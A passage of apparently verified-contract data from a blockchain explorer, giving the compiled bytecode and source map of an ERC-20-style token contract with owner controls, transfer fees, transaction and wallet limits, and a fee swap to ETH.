5b823561160681611508565b915060208301356115dd81611508565b60006020828403121561162857600080fd5b5035919050565b600181811c9082168061164357607f821691505b60208210810361166357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561077057610770611669565b8082018082111561077057610770611669565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808202811582820484141761077057610770611669565b60008261170e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561173b57600080fd5b8151610a6481611508565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117965784516001600160a01b031683529383019391830191600101611771565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207e525e9b948648080c5586f2f14f0cd206d1118126374468c1313630385baea864736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102135760003560e01c80638c0b5e2211610118578063bf56b371116100a0578063ea5b9e851161006f578063ea5b9e8514610637578063ed42142914610657578063f2fde38b14610677578063f4b3dbc314610697578063fe6f1b05146106b757600080fd5b8063bf56b371146105a6578063c9567bf9146105bc578063d621e813146105d1578063dd62ed3e146105f157600080fd5b806399b102b5116100e757806399b102b514610500578063a457c2d714610530578063a7c29b4014610550578063a9059cbb14610570578063aa4bde281461059057600080fd5b80638c0b5e22146104985780638da5cb5b146104ae578063958f9735146104cc57806395d89b41146104eb57600080fd5b8063395093511161019b578063715018a61161016a578063715018a61461040b578063735de9f714610422578063751039fc1461044957806375f0a8741461045e578063877e19ee1461047e57600080fd5b806339509351146103555780635342acb4146103755780636dd3d39f146103a557806370a08231146103d557600080fd5b806323b872dd116101e257806323b872dd146102af57806328ac2d53146102cf5780632ce9a4ac146103075780632d4613911461031d578063313ce5671461033357600080fd5b806306fdde031461021f578063095ea7b31461024a57806318160ddd1461027a5780631884f1e61461029957600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506102346106cd565b60405161024191906114ba565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611520565b61075f565b6040519015158152602001610241565b34801561028657600080fd5b506004545b604051908152602001610241565b3480156102a557600080fd5b5061028b60075481565b3480156102bb57600080fd5b5061026a6102ca36600461154c565b610776565b3480156102db57600080fd5b506010546102ef906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b34801561031357600080fd5b5061028b60135481565b34801561032957600080fd5b5061028b60125481565b34801561033f57600080fd5b5060035460405160ff9091168152602001610241565b34801561036157600080fd5b5061026a610370366004611520565b6107c8565b34801561038157600080fd5b5061026a61039036600461158d565b600c6020526000908152604090205460ff1681565b3480156103b157600080fd5b5061026a6103c036600461158d565b600e6020526000908152604090205460ff1681565b3480156103e157600080fd5b5061028b6103f036600461158d565b6001600160a01b031660009081526005602052604090205490565b34801561041757600080fd5b506104206107ff565b005b34801561042e57600080fd5b50600f546102ef90630100000090046001600160a01b031681565b34801561045557600080fd5b5061042061087c565b34801561046a57600080fd5b506011546102ef906001600160a01b031681565b34801561048a57600080fd5b50600f5461026a9060ff1681565b3480156104a457600080fd5b5061028b60095481565b3480156104ba57600080fd5b506000546001600160a01b03166102ef565b3480156104d857600080fd5b50600f5461026a90610100900460ff1681565b3480156104f757600080fd5b506102346108bd565b34801561050c57600080fd5b5061026a61051b36600461158d565b600d6020526000908152604090205460ff1681565b34801561053c57600080fd5b5061026a61054b366004611520565b6108cc565b34801561055c57600080fd5b5061042061056b3660046115aa565b610903565b34801561057c57600080fd5b5061026a61058b366004611520565b610958565b34801561059c57600080fd5b5061028b60085481565b3480156105b257600080fd5b5061028b600b5481565b3480156105c857600080fd5b50610420610965565b3480156105dd57600080fd5b50600f5461026a9062010000900460ff1681565b3480156105fd57600080fd5b5061028b61060c3660046115e8565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561064357600080fd5b506104206106523660046115aa565b6109f1565b34801561066357600080fd5b5061028b610672366004611616565b610a46565b34801561068357600080fd5b5061042061069236600461158d565b610a6b565b3480156106a357600080fd5b5061028b6106b2366004611616565b610b55565b3480156106c357600080fd5b5061028b600a5481565b6060600180546106dc9061162f565b80601f01602080910402602001604051908101604052809291908181526020018280546107089061162f565b80156107555780601f1061072a57610100808354040283529160200191610755565b820191906000526020600020905b81548152906001019060200180831161073857829003601f168201915b5050505050905090565b600061076c338484610b69565b5060015b92915050565b6000610783848484610c76565b6001600160a01b0384166000908152600660209081526040808320338085529252909120546107be9186916107b990869061167f565b610b69565b5060019392505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161076c9185906107b9908690611692565b6000546001600160a01b031633146108325760405162461bcd60e51b8152600401610829906116a5565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a65760405162461bcd60e51b8152600401610829906116a5565b600a60128190556013556004546008819055600955565b6060600280546106dc9061162f565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161076c9185906107b990869061167f565b6000546001600160a01b0316331461092d5760405162461bcd60e51b8152600401610829906116a5565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b600061076c338484610c76565b6000546001600160a01b0316331461098f5760405162461bcd60e51b8152600401610829906116a5565b600f5462010000900460ff16156109da5760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b6044820152606401610829565b600f805462ffffff19166201010117905542600b55565b6000546001600160a01b03163314610a1b5760405162461bcd60e51b8152600401610829906116a5565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600080600a5460125484610a5a91906116da565b610a6491906116f1565b9392505050565b6000546001600160a01b03163314610a955760405162461bcd60e51b8152600401610829906116a5565b6001600160a01b038116610afa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610829565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080600a5460135484610a5a91906116da565b6001600160a01b038316610bbf5760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f206164647265737300006044820152606401610829565b6001600160a01b038216610c155760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f206164647265737300000000006044820152606401610829565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccc5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f206164647265737300006044820152606401610829565b6001600160a01b038216610d225760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f2061646472657373000000006044820152606401610829565b60008111610d725760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f6044820152606401610829565b6001600160a01b0383166000908152600d602052604090205460ff16158015610db457506001600160a01b0382166000908152600d602052604090205460ff16155b15610e9357600954811115610e0b5760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d6974000000006044820152606401610829565b600f5462010000900460ff16610e93576010546001600160a01b03848116911614801590610e4757506010546001600160a01b03838116911614155b610e935760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c65640000000000006044820152606401610829565b6001600160a01b0382166000908152600e602052604090205460ff16610f2e5760085481610ed6846001600160a01b031660009081526005602052604090205490565b610ee09190611692565b1115610f2e5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d6974006044820152606401610829565b6001600160a01b0383166000908152600c602052604090205460019060ff1680610f7057506001600160a01b0383166000908152600c602052604090205460ff165b80610f835750600f54610100900460ff16155b15610f8c575060005b610f9884848484610f9e565b50505050565b6010546001600160a01b038581169116148015610fb85750805b1561109957600080610fc984610a46565b9150610fd5828561167f565b6001600160a01b038716600090815260056020526040902054909150610ffc90859061167f565b6001600160a01b03808816600090815260056020526040808220939093559087168152205461102c908290611692565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110809085815260200190565b60405180910390a361109286836111ef565b5050610f98565b6010546001600160a01b0384811691161480156110b35750805b156110e5576007548211156110cc576110cc8484611267565b60006110d783610b55565b90506000610fd5828561167f565b6000806110f2818561167f565b6001600160a01b0387166000908152600c602052604090205490915060ff1680156111255750600f5462010000900460ff165b1561113757611134818561167f565b93505b6001600160a01b03861660009081526005602052604090205461115b90859061167f565b6001600160a01b03808816600090815260056020526040808220939093559087168152205461118b908290611692565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111df9088815260200190565b60405180910390a3505050505050565b3060009081526005602052604090205461120a908290611692565b30600081815260056020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061125b9085815260200190565b60405180910390a35050565b306000908152600560205260409020546007548110801590819061129957506010546001600160a01b03858116911614155b80156112a75750600f5460ff165b80156112d557506001600160a01b038416301480156112d357506010546001600160a01b038481169116145b155b15610f98576112fc30600f60039054906101000a90046001600160a01b0316600754610b69565b600f5460075461131c91630100000090046001600160a01b031690611366565b47801561135f576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561135d573d6000803e3d6000fd5b505b5050505050565b60408051600280825260608201835284926000929190602083019080368337019050509050308160008151811061139f5761139f611713565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114219190611729565b8160018151811061143457611434611713565b6001600160a01b039283166020918202929092010152821663791ac94784600084306114624261012c611692565b6040518663ffffffff1660e01b8152600401611482959493929190611746565b600060405180830381600087803b15801561149c57600080fd5b505af11580156114b0573d6000803e3d6000fd5b5050505050505050565b600060208083528351808285015260005b818110156114e7578581018301518582016040015282016114cb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461151d57600080fd5b50565b6000806040838503121561153357600080fd5b823561153e81611508565b946020939093013593505050565b60008060006060848603121561156157600080fd5b833561156c81611508565b9250602084013561157c81611508565b929592945050506040919091013590565b60006020828403121561159f57600080fd5b8135610a6481611508565b600080604083850312156115bd57600080fd5b82356115c881611508565b9150602083013580151581146115dd57600080fd5b809150509250929050565b600080604083850312156115fb57600080fd5b823561160681611508565b915060208301356115dd81611508565b60006020828403121561162857600080fd5b5035919050565b600181811c9082168061164357607f821691505b60208210810361166357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561077057610770611669565b8082018082111561077057610770611669565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808202811582820484141761077057610770611669565b60008261170e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561173b57600080fd5b8151610a6481611508565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117965784516001600160a01b031683529383019391830191600101611771565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207e525e9b948648080c5586f2f14f0cd206d1118126374468c1313630385baea864736f6c63430008130033

Deployed Bytecode Sourcemap

3011:9615:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5541:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10047:186;;;;;;;;;;-1:-1:-1;10047:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10047:186:0;1023:187:1;5818:96:0;;;;;;;;;;-1:-1:-1;5898:8:0;;5818:96;;;1361:25:1;;;1349:2;1334:18;5818:96:0;1215:177:1;3358:56:0;;;;;;;;;;;;;;;;8567:350;;;;;;;;;;-1:-1:-1;8567:350:0;;;;;:::i;:::-;;:::i;3968:25::-;;;;;;;;;;-1:-1:-1;3968:25:0;;;;-1:-1:-1;;;;;3968:25:0;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;3968:25:0;1858:203:1;4185:33:0;;;;;;;;;;;;;;;;4144:32;;;;;;;;;;;;;;;;5727:83;;;;;;;;;;-1:-1:-1;5793:9:0;;5727:83;;5793:9;;;;2208:36:1;;2196:2;2181:18;5727:83:0;2066:184:1;8925:292:0;;;;;;;;;;-1:-1:-1;8925:292:0;;;;;:::i;:::-;;:::i;3621:49::-;;;;;;;;;;-1:-1:-1;3621:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3736:55;;;;;;;;;;-1:-1:-1;3736:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5922:119;;;;;;;;;;-1:-1:-1;5922:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6015:18:0;5988:7;6015:18;;;:9;:18;;;;;;;5922:119;2558:157;;;;;;;;;;;;;:::i;:::-;;3930:28;;;;;;;;;;-1:-1:-1;3930:28:0;;;;;;;-1:-1:-1;;;;;3930:28:0;;;10441:176;;;;;;;;;;;;;:::i;4001:30::-;;;;;;;;;;-1:-1:-1;4001:30:0;;;;-1:-1:-1;;;;;4001:30:0;;;3800:43;;;;;;;;;;-1:-1:-1;3800:43:0;;;;;;;;3485:51;;;;;;;;;;;;;;;;2344:79;;;;;;;;;;-1:-1:-1;2382:7:0;2409:6;-1:-1:-1;;;;;2409:6:0;2344:79;;3851:29;;;;;;;;;;-1:-1:-1;3851:29:0;;;;;;;;;;;5632:87;;;;;;;;;;;;;:::i;3677:52::-;;;;;;;;;;-1:-1:-1;3677:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9225:300;;;;;;;;;;-1:-1:-1;9225:300:0;;;;;:::i;:::-;;:::i;9700:165::-;;;;;;;;;;-1:-1:-1;9700:165:0;;;;;:::i;:::-;;:::i;10241:192::-;;;;;;;;;;-1:-1:-1;10241:192:0;;;;;:::i;:::-;;:::i;3422:55::-;;;;;;;;;;;;;;;;3587:25;;;;;;;;;;;;;;;;10625:239;;;;;;;;;;;;;:::i;3888:32::-;;;;;;;;;;-1:-1:-1;3888:32:0;;;;;;;;;;;9871:168;;;;;;;;;;-1:-1:-1;9871:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;10004:18:0;;;9977:7;10004:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9871:168;9533:159;;;;;;;;;;-1:-1:-1;9533:159:0;;;;;:::i;:::-;;:::i;10872:167::-;;;;;;;;;;-1:-1:-1;10872:167:0;;;;;:::i;:::-;;:::i;2723:281::-;;;;;;;;;;-1:-1:-1;2723:281:0;;;;;:::i;:::-;;:::i;11047:169::-;;;;;;;;;;-1:-1:-1;11047:169:0;;;;;:::i;:::-;;:::i;3544:36::-;;;;;;;;;;;;;;;;5541:83;5578:13;5611:5;5604:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5541:83;:::o;10047:186::-;10147:4;10164:39;1868:10;10187:7;10196:6;10164:8;:39::i;:::-;-1:-1:-1;10221:4:0;10047:186;;;;;:::o;8567:350::-;8699:4;8716:36;8726:6;8734:9;8745:6;8716:9;:36::i;:::-;-1:-1:-1;;;;;8834:19:0;;;;;;:11;:19;;;;;;;;1868:10;8834:33;;;;;;;;;8763:124;;8786:6;;8834:42;;8870:6;;8834:42;:::i;:::-;8763:8;:124::i;:::-;-1:-1:-1;8905:4:0;8567:350;;;;;:::o;8925:292::-;1868:10;9038:4;9127:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9127:34:0;;;;;;;;;;9038:4;;9055:132;;9105:7;;9127:49;;9165:10;;9127:49;:::i;2558:157::-;2471:6;;-1:-1:-1;;;;;2471:6:0;1868:10;2471:22;2463:67;;;;-1:-1:-1;;;2463:67:0;;;;;;;:::i;:::-;;;;;;;;;2665:1:::1;2649:6:::0;;2628:40:::1;::::0;-1:-1:-1;;;;;2649:6:0;;::::1;::::0;2628:40:::1;::::0;2665:1;;2628:40:::1;2704:1;2679:28:::0;;-1:-1:-1;;;;;;2679:28:0::1;::::0;;2558:157::o;10441:176::-;2471:6;;-1:-1:-1;;;;;2471:6:0;1868:10;2471:22;2463:67;;;;-1:-1:-1;;;2463:67:0;;;;;;;:::i;:::-;10509:2:::1;10495:11;:16:::0;;;10522:12:::1;:17:::0;10568:8:::1;::::0;10550:15:::1;:26:::0;;;10587:11:::1;:22:::0;10441:176::o;5632:87::-;5671:13;5704:7;5697:14;;;;;:::i;9225:300::-;1868:10;9343:4;9432:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9432:34:0;;;;;;;;;;9343:4;;9360:135;;9410:7;;9432:52;;9469:15;;9432:52;:::i;9700:165::-;2471:6;;-1:-1:-1;;;;;2471:6:0;1868:10;2471:22;2463:67;;;;-1:-1:-1;;;2463:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9820:29:0;;;::::1;;::::0;;;:20:::1;:29;::::0;;;;:37;;-1:-1:-1;;9820:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9700:165::o;10241:192::-;10344:4;10361:42;1868:10;10385:9;10396:6;10361:9;:42::i;10625:239::-;2471:6;;-1:-1:-1;;;;;2471:6:0;1868:10;2471:22;2463:67;;;;-1:-1:-1;;;2463:67:0;;;;;;;:::i;:::-;10687:12:::1;::::0;;;::::1;;;10686:13;10678:41;;;::::0;-1:-1:-1;;;10678:41:0;;5072:2:1;10678:41:0::1;::::0;::::1;5054:21:1::0;5111:2;5091:18;;;5084:30;-1:-1:-1;;;5130:18:1;;;5123:45;5185:18;;10678:41:0::1;4870:339:1::0;10678:41:0::1;10730:12;:19:::0;;-1:-1:-1;;10787:30:0;;;;;10841:15:::1;10828:10;:28:::0;10625:239::o;9533:159::-;2471:6;;-1:-1:-1;;;;;2471:6:0;1868:10;2471:22;2463:67;;;;-1:-1:-1;;;2463:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9650:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;9650:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9533:159::o;10872:167::-;10935:7;10955:11;10995:14;;10979:11;;10970:6;:20;;;;:::i;:::-;10969:41;;;;:::i;:::-;10955:55;10872:167;-1:-1:-1;;;10872:167:0:o;2723:281::-;2471:6;;-1:-1:-1;;;;;2471:6:0;1868:10;2471:22;2463:67;;;;-1:-1:-1;;;2463:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2826:22:0;::::1;2804:110;;;::::0;-1:-1:-1;;;2804:110:0;;5811:2:1;2804:110:0::1;::::0;::::1;5793:21:1::0;5850:2;5830:18;;;5823:30;5889:34;5869:18;;;5862:62;-1:-1:-1;;;5940:18:1;;;5933:36;5986:19;;2804:110:0::1;5609:402:1::0;2804:110:0::1;2951:6;::::0;;2930:38:::1;::::0;-1:-1:-1;;;;;2930:38:0;;::::1;::::0;2951:6;::::1;::::0;2930:38:::1;::::0;::::1;2979:6;:17:::0;;-1:-1:-1;;;;;;2979:17:0::1;-1:-1:-1::0;;;;;2979:17:0;;;::::1;::::0;;;::::1;::::0;;2723:281::o;11047:169::-;11111:7;11131:11;11172:14;;11155:12;;11146:6;:21;;;;:::i;11228:324::-;-1:-1:-1;;;;;11321:19:0;;11313:62;;;;-1:-1:-1;;;11313:62:0;;6218:2:1;11313:62:0;;;6200:21:1;6257:2;6237:18;;;6230:30;6296:32;6276:18;;;6269:60;6346:18;;11313:62:0;6016:354:1;11313:62:0;-1:-1:-1;;;;;11394:21:0;;11386:61;;;;-1:-1:-1;;;11386:61:0;;6577:2:1;11386:61:0;;;6559:21:1;6616:2;6596:18;;;6589:30;6655:29;6635:18;;;6628:57;6702:18;;11386:61:0;6375:351:1;11386:61:0;-1:-1:-1;;;;;11460:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11512:32;;1361:25:1;;;11512:32:0;;1334:18:1;11512:32:0;;;;;;;11228:324;;;:::o;11560:1063::-;-1:-1:-1;;;;;11648:18:0;;11640:61;;;;-1:-1:-1;;;11640:61:0;;6933:2:1;11640:61:0;;;6915:21:1;6972:2;6952:18;;;6945:30;7011:32;6991:18;;;6984:60;7061:18;;11640:61:0;6731:354:1;11640:61:0;-1:-1:-1;;;;;11720:16:0;;11712:57;;;;-1:-1:-1;;;11712:57:0;;7292:2:1;11712:57:0;;;7274:21:1;7331:2;7311:18;;;7304:30;7370;7350:18;;;7343:58;7418:18;;11712:57:0;7090:352:1;11712:57:0;11797:1;11788:6;:10;11780:55;;;;-1:-1:-1;;;11780:55:0;;7649:2:1;11780:55:0;;;7631:21:1;;;7668:18;;;7661:30;7727:34;7707:18;;;7700:62;7779:18;;11780:55:0;7447:356:1;11780:55:0;-1:-1:-1;;;;;11851:26:0;;;;;;:20;:26;;;;;;;;11850:27;:56;;;;-1:-1:-1;;;;;;11882:24:0;;;;;;:20;:24;;;;;;;;11881:25;11850:56;11846:359;;;11941:11;;11931:6;:21;;11923:62;;;;-1:-1:-1;;;11923:62:0;;8010:2:1;11923:62:0;;;7992:21:1;8049:2;8029:18;;;8022:30;8088;8068:18;;;8061:58;8136:18;;11923:62:0;7808:352:1;11923:62:0;12007:12;;;;;;;12002:192;;12070:10;;-1:-1:-1;;;;;12070:18:0;;;:10;;:18;;;;:38;;-1:-1:-1;12092:10:0;;-1:-1:-1;;;;;12092:16:0;;;:10;;:16;;12070:38;12040:138;;;;-1:-1:-1;;;12040:138:0;;8367:2:1;12040:138:0;;;8349:21:1;8406:2;8386:18;;;8379:30;8445:28;8425:18;;;8418:56;8491:18;;12040:138:0;8165:350:1;12040:138:0;-1:-1:-1;;;;;12222:27:0;;;;;;:23;:27;;;;;;;;12217:197;;12320:15;;12309:6;12293:13;12303:2;-1:-1:-1;;;;;6015:18:0;5988:7;6015:18;;;:9;:18;;;;;;;5922:119;12293:13;:22;;;;:::i;:::-;12292:43;;12266:136;;;;-1:-1:-1;;;12266:136:0;;8722:2:1;12266:136:0;;;8704:21:1;8761:2;8741:18;;;8734:30;8800:33;8780:18;;;8773:61;8851:18;;12266:136:0;8520:355:1;12266:136:0;-1:-1:-1;;;;;12458:23:0;;12424:12;12458:23;;;:17;:23;;;;;;12439:4;;12458:23;;;:48;;-1:-1:-1;;;;;;12485:21:0;;;;;;:17;:21;;;;;;;;12458:48;:62;;;-1:-1:-1;12511:9:0;;;;;;;12510:10;12458:62;12454:110;;;-1:-1:-1;12547:5:0;12454:110;12574:41;12589:4;12595:2;12599:6;12607:7;12574:14;:41::i;:::-;11629:994;11560:1063;;;:::o;6049:1564::-;6204:10;;-1:-1:-1;;;;;6204:20:0;;;:10;;:20;:31;;;;;6228:7;6204:31;6200:1406;;;6252:14;6281:23;6328:24;6345:6;6328:16;:24::i;:::-;6319:33;-1:-1:-1;6385:15:0;6319:33;6385:6;:15;:::i;:::-;-1:-1:-1;;;;;6437:17:0;;;;;;:9;:17;;;;;;6367:33;;-1:-1:-1;6437:26:0;;6457:6;;6437:26;:::i;:::-;-1:-1:-1;;;;;6417:17:0;;;;;;;:9;:17;;;;;;:46;;;;6501:20;;;;;;;:38;;6524:15;;6501:38;:::i;:::-;-1:-1:-1;;;;;6478:20:0;;;;;;;:9;:20;;;;;;;:61;;;;6559:44;;;;;;;;;;6587:15;1361:25:1;;1349:2;1334:18;;1215:177;6559:44:0;;;;;;;;6620:28;6633:6;6641;6620:12;:28::i;:::-;6237:423;;6200:1406;;;6670:10;;-1:-1:-1;;;;;6670:23:0;;;:10;;:23;:34;;;;;6697:7;6670:34;6666:940;;;6734:14;;6725:6;:23;6721:98;;;6769:34;6785:6;6793:9;6769:15;:34::i;:::-;6833:14;6850:25;6868:6;6850:17;:25::i;:::-;6833:42;-1:-1:-1;6890:23:0;6916:15;6833:42;6916:6;:15;:::i;6666:940::-;7210:14;;7299:15;7210:14;7299:6;:15;:::i;:::-;-1:-1:-1;;;;;7333:25:0;;;;;;:17;:25;;;;;;7281:33;;-1:-1:-1;7333:25:0;;:41;;;;-1:-1:-1;7362:12:0;;;;;;;7333:41;7329:73;;;7376:26;7387:15;7376:26;;:::i;:::-;;;7329:73;-1:-1:-1;;;;;7437:17:0;;;;;;:9;:17;;;;;;:26;;7457:6;;7437:26;:::i;:::-;-1:-1:-1;;;;;7417:17:0;;;;;;;:9;:17;;;;;;:46;;;;7501:20;;;;;;;:38;;7524:15;;7501:38;:::i;:::-;-1:-1:-1;;;;;7478:20:0;;;;;;;:9;:20;;;;;;;:61;;;;7559:35;;;;;;;;;;7587:6;1361:25:1;;1349:2;1334:18;;1215:177;7559:35:0;;;;;;;;7195:411;;6049:1564;;;;:::o;7621:200::-;7739:4;7721:24;;;;:9;:24;;;;;;:35;;7749:6;;7721:35;:::i;:::-;7712:4;7694:24;;;;:9;:24;;;;;;;:62;;;;7774:39;;-1:-1:-1;;;;;7774:39:0;;;;;;;7806:6;1361:25:1;;1349:2;1334:18;;1215:177;7774:39:0;;;;;;;;7621:200;;:::o;7829:732::-;7948:4;7899:28;6015:18;;;:9;:18;;;;;;8009:14;;7985:38;;;;;;;8054:45;;-1:-1:-1;8089:10:0;;-1:-1:-1;;;;;8081:18:0;;;8089:10;;8081:18;;8054:45;:85;;;;-1:-1:-1;8116:23:0;;;;8054:85;:146;;;;-1:-1:-1;;;;;;8158:21:0;;8174:4;8158:21;:41;;;;-1:-1:-1;8189:10:0;;-1:-1:-1;;;;;8183:16:0;;;8189:10;;8183:16;8158:41;8156:44;8054:146;8036:518;;;8227:63;8244:4;8259:13;;;;;;;;;-1:-1:-1;;;;;8259:13:0;8275:14;;8227:8;:63::i;:::-;8340:13;;8356:14;;8307:64;;8340:13;;;-1:-1:-1;;;;;8340:13:0;;8307:24;:64::i;:::-;8412:21;8454:19;;8450:92;;8500:15;;8492:50;;-1:-1:-1;;;;;8500:15:0;;;;8492:50;;;;;8526:15;;8500;8492:50;8500:15;8492:50;8526:15;8500;8492:50;;;;;;;;;;;;;;;;;;;;;8450:92;8212:342;7888:673;;7829:732;;:::o;12653:498::-;12847:16;;;12861:1;12847:16;;;;;;;;12796:13;;12768:17;;12847:16;12861:1;12847:16;;;;;;;;;;-1:-1:-1;12847:16:0;12823:40;;12892:4;12874;12879:1;12874:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12874:23:0;;;-1:-1:-1;;;;;12874:23:0;;;;;12918:9;-1:-1:-1;;;;;12918:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12908:4;12913:1;12908:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12908:26:0;;;:7;;;;;;;;;:26;12947:60;;;13022:11;13048:1;13064:4;13091;13111:21;:15;13129:3;13111:21;:::i;:::-;12947:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12757:394;;12653:498;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2730:416::-;2795:6;2803;2856:2;2844:9;2835:7;2831:23;2827:32;2824:52;;;2872:1;2869;2862:12;2824:52;2911:9;2898:23;2930:31;2955:5;2930:31;:::i;:::-;2980:5;-1:-1:-1;3037:2:1;3022:18;;3009:32;3079:15;;3072:23;3060:36;;3050:64;;3110:1;3107;3100:12;3050:64;3133:7;3123:17;;;2730:416;;;;;:::o;3151:388::-;3219:6;3227